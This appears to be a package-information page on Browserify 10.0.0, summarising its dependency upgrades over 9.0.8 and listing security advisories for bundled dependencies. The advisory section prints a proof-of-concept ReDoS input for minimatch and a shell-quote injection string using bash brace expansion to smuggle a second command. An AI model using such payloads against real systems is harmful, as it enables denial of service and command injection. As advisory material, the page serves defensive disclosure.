Browserify version 10.0.0 introduces several notable updates compared to the previous stable release, 9.0.8, making it a compelling choice for developers seeking enhanced functionality and dependency management. One key change lies in the updated dependencies. Version 10.0.0 upgrades xtend from ^3.0.0 to ^4.0.0, a significant bump that could bring performance improvements or bug fixes related to object extension. Furthermore, process sees a shift from ^0.10.0 to ~0.11.0, aligning browserified code more closely with newer Node.js process behaviors. Of particular interest is the upgrade of insert-module-globals from ^6.2.0 to ^6.4.0 which manages global variable emulation, and could affect how browserify handles process, Buffer or other globals.
The package also includes minor dependency tweaks and ensures that all sub-dependencies are up to date, potentially addressing security vulnerabilities and compatibility issues. For example, the defined package moved from ~0.0.0 to ^1.0.0. While the core functionality of Browserify remains consistent – enabling require()-style modularity in the browser – these updated dependencies collectively contribute to a more robust and modern development experience. Developers should review compatibility notes for these updated dependencies to ensure seamless integration with their existing projects when upgrading. Version 10.0.0 was released on April 30, 2015, about three weeks after version 9.0.8 which was released on April 9, 2015.
All the vulnerabilities related to the version 10.0.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
Improper Neutralization of Special Elements used in a Command in Shell-quote
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is [A-z] instead of the correct [A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.